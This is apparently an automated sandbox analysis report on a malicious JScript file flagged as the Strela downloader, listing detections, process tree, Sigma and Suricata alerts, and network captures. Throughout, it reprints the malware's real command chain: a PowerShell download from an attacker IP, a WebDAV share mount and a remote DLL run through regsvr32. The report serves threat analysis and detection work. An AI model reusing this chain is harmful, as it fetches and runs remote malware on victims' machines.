Edit tour

Windows Analysis Report
221165125265292179.js

Overview

General Information

Sample name:	221165125265292179.js
Analysis ID:	1588640
MD5:	308026f377812f0f3448b2be476afe7a
SHA1:	51e89f4129edd15bc0e9ac237df7edb7b5c760d0
SHA256:	9aea24b1e9e5b129687a6624a3d94d371d5182b1fa8b3d255e135241c349a7f2
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7512 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\221165125265292179.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7564 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7616 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7792 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8000 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7184 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1556,i,14946020306011975093,2828125424328156023,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7872 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7912 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8072 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7512	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7564, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7616, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7564, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7616, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\221165125265292179.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\221165125265292179.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\221165125265292179.js", ProcessId: 7512, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7912, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\221165125265292179.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7512, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, ProcessId: 7564, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\221165125265292179.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7512, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, ProcessId: 7564, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\221165125265292179.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7512, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, ProcessId: 7564, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\221165125265292179.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7512, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, ProcessId: 7564, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\221165125265292179.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7512, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, ProcessId: 7564, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\221165125265292179.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\221165125265292179.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\221165125265292179.js", ProcessId: 7512, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7564, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7616, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7872, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7912, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8072, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7872, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7912, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\221165125265292179.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7512, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll, ProcessId: 7564, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:34:19.528177+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:34:21.723029+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:34:19.528177+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 221165125265292179.js

Virustotal: Detection: 13%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 221165125265292179.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 221165125265292179.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:34:19 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

